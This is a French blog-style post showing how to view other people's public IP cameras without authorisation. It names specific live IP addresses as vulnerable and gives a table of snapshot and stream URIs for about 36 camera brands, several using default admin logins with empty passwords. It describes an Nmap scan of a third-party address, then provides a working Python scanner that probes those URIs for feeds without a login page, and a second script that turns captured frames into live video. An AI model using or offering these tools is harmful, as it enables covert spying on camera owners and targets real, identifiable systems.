De nombreuses caméras IP fonctionnent en étant accessibles publiquement, souvent elles sont équipées d’une page de connexion qui permet de restreindre l’accès au propriétaire.
Or, fréquemment les propriétaires de ces caméras oublient de changer les identifiants par défaut mis en place par les constructeurs. C’est pas bien.
Et puis bon même si ces identifiants sont modifiés par l’utilisateur il est toujours possible que le modèle de la caméra présente des failles qui nous permettrait d’accéder directement au flux vidéo de la caméra.
Comme cette caméra IP de modèle Hi3516 sur l’ip 46.8.54.190:81.
Je fais donc mes petites recherches pour ce cas d’usage puis dresse un tableau des différentes failles qui sont exploitables sur chaque modèle de ces caméras.
Modèle | Chemin de la vulnérabilité |
---|---|
Android-IPWebcam | http://ip:port/shot.jpg?rnd=654321 |
Axis | http://ip:port/mjpg/video.mjpg |
Axis2 | http://ip:port/axis-cgi/mjpg/video.cgi?camera=&resolution=640x480 |
AxisMkII | http://ip:port/jpg/image.jpg?COUNTER |
BlueIris | http://ip:port/image/Index?time=0 |
Bosch | http://ip:port/snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER |
Canon | http://ip:port/-wvhttp-01-/GetOneShot?image_size=640x480&frame_count=1000000000 |
ChannelVision | http://ip:port/GetData.cgi?CH=1 |
Dahua | http://ip:port/cgi-bin/snapshot.cgi |
Defeway | http://ip:port/cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER |
DLink | http://ip:port/video/mjpg.cgi |
DLink-DCS-932 | http://ip:port/mjpeg.cgi |
Foscam | http://ip:port/videostream.cgi?user=admin&pwd= |
FoscamIPCam | http://ip:port/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER |
Fullhan | http://ip:port/cgi-bin/snapshot.cgi?COUNTER |
GK7205 | |
Hi3516 | http://ip:port/webcapture.jpg?command=snap&channel=1?COUNTER |
Linksys | http://ip:port/img/video.mjpeg |
Megapixel | http://ip:port/jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER |
Mobotix | http://ip:port/cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER |
Motion | |
Panasonic | http://ip:port/SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER |
PanasonicHD | http://ip:port/cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER |
Sony | http://ip:port/oneshotimage1?COUNTER |
Sony-CS3 | http://ip:port/image?speed=0 |
StarDot | http://ip:port/nph-jpeg.cgi?0 |
Streamer | http://ip:port/?action=stream |
SunellSecurity | http://ip:port/onvif/snapshot/1/11 |
Toshiba | http://ip:port/__live.jpg?&&&COUNTER |
TPLink | http://ip:port/jpg/image.jpg?COUNTER |
Vije | http://ip:port/asp/video.cgi |
Vivotek | http://ip:port/cgi-bin/viewer/video.jpg?r=COUNTER |
WebcamXP | http://ip:port/cam_1.cgi |
WIFICam | |
WYM | |
Yawcam | http://ip:port/out.jpg?q=30&id=0.1317044913727916&r=COUNTER |
Comme on peut le remarquer, la plupart des flux vidéo de ces caméras sont accessibles directement depuis ces URIs spécifiques.
J’effectue alors un scan Nmap sur une ip vulnérable 90.189.182.80 pour tester la faille.
On remarque qu’il y a bien des ports ouverts.
Je rappelle que la plupart des constructeurs ont quand même mis en place des mesures de restriction comme une page de connexion pour éviter justement que l’utilisateur lambda puisse accéder à ces flux.
Alors, en effet ces restrictions sont bien présentes mais il s’avère qu’elles ne suffisent pas comme nous pouvons le voir avec le test réalisé en dessous.
Le modèle de la caméra est bien une Fullhan d’après l’URI qui correspond et je peux également le vérifier dans ce cas grâce à la présence d’une solution hébergée sur la même ip mais sur un port différent.
En effet la solution semble avoir été mise en place par l’entreprise Herospeed qui fournit des caméras IP dont le fameux modèle Fullhan, dont nous avons montré qu’il était vulnérable.
J’écris donc un script qui me permet d’automatiser la détection de la présence de ces vulnérabilités. Et je remarque que ça fonctionne, il me renvoie bien les potentiels flux vidéo accessibles.
import requests, time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style
init()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Liste des modèles vulnérables
model = ["Android-IPWebcam", "Axis", "Axis2", "AxisMkII", "BlueIris", "Bosch", "Canon", "ChannelVision", "Dahua", "Defeway", "DLink", "DLink-DCS-932", "Foscam", "FoscamIPCam", "Fullhan", "GK7205", "Hi3516", "Linksys", "Megapixel", "Mobotix", "Motion", "Panasonic", "PanasonicHD", "Sony", "Sony-CS3", "StarDot", "Streamer", "SunellSecurity", "Toshiba", "TPLink", "Vije", "Vivotek", "WebcamXP", "WIFICam", "WYM", "Yawcam"]
# Liste des URIs accessibles
uri_vuln = ["shot.jpg?rnd=654321", "mjpg/video.mjpg", "axis-cgi/mjpg/video.cgi?camera=&resolution=640x480", "jpg/image.jpg?COUNTER", "image/Index?time=0", "snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER", "GetOneShot?image_size=640x480&frame_count=1000000000", "GetData.cgi?CH=1", "cgi-bin/snapshot.cgi", "cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER", "video/mjpg.cgi", "mjpeg.cgi", "videostream.cgi?user=admin&pwd=", "cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER", "cgi-bin/snapshot.cgi?COUNTER", "","webcapture.jpg?command=snap&channel=1?COUNTER", "img/video.mjpeg", "jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER", "cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER", "", "SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER", "cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER", "oneshotimage1?COUNTER", "image?speed=0", "nph-jpeg.cgi?0", "?action=stream", "onvif/snapshot/1/11", "__live.jpg?&&&COUNTER", "jpg/image.jpg?COUNTER", "asp/video.cgi", "cgi-bin/viewer/video.jpg?r=COUNTER", "cam_1.cgi", "", "", "out.jpg?q=30&id=0.1317044913727916&r=COUNTER"]
# Fonction qui va tester si les URIs sont accessibles
def scan_cam(ip):
for i in range(len(model)):
try:
url = f"http://{ip}/{uri_vuln[i]}"
if(uri_vuln[i] != ""):
response = requests.head(url, verify=False, timeout=1)
if(response.status_code == 200):
test_cam = requests.get(url)
if "login" not in str(test_cam.text):
print(Fore.GREEN + f"Modèle de la caméra: {model[i]} \n - Flux de la caméra: {url}" + Fore.GREEN)
else:
print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
except:
print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
if __name__ == "__main__":
# Affichage du nombre total de modèles vulnérables
print(f"Total de modèles vulnérables {len(model)}")
# Demande pour spécifier l'IP
ip = input("IP: ")
# Demande pour spécifier le PORT
port = input("PORT: ")
ip += ":" + port
# Appel de la fonction de scan
scan_cam(ip)
N’oubliez pas d’importer les libraries avant d’exécuter le code
pip install requests colorama
Maintenant comme nous avons pu le remarquer avec les tests, nous récupérons le plus souvent des images et non directement une vidéo.
Or si l’on affiche successivement des images par seconde on obtient bien une vidéo. J’écris donc un script qui nous permet d’enregistrer ces images toutes les secondes et nous sommes maintenant capables de lire le flux vidéo.
import os, requests, time, cv2
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
save_path = "capture.jpg"
# Fonction qui va afficher le flux vidéo
def read_cam(url):
print(f"\nChemin du flux vidéo: {os.getcwd()}/{save_path}")
while True:
flux_img = cv2.imread(f"{os.getcwd()}/{save_path}", cv2.IMREAD_COLOR)
print(time.ctime())
img = requests.get(url)
f = open(save_path, "wb")
f.write(img.content)
f.close()
cv2.imshow("Affichage Flux", flux_img)
key = cv2.waitKey(1)
if key & 0xFF == ord('q'):
break
cv2.destroyAllWindows()
if __name__ == "__main__":
# Demande de spécifier l'url du flux
url = input("Flux de la caméra: ")
# Appel de la fonction de lecture d'un flux
read_cam(url)
Ce programme nous permet de lire le flux vidéo en enregistrant les images par seconde dans un même fichier, qui sera actualisé puis en affichant le fichier image dans une fenêtre OpenCV.
N’oubliez pas d’importer les libraries avant d’exécuter le code
pip install requests opencv-python
Cependant il manque encore quelques vulnérabilités sur certains modèles de caméras IP et certaines mises à jour des constructeurs peuvent rendre ces vulnérabilités obsolètes.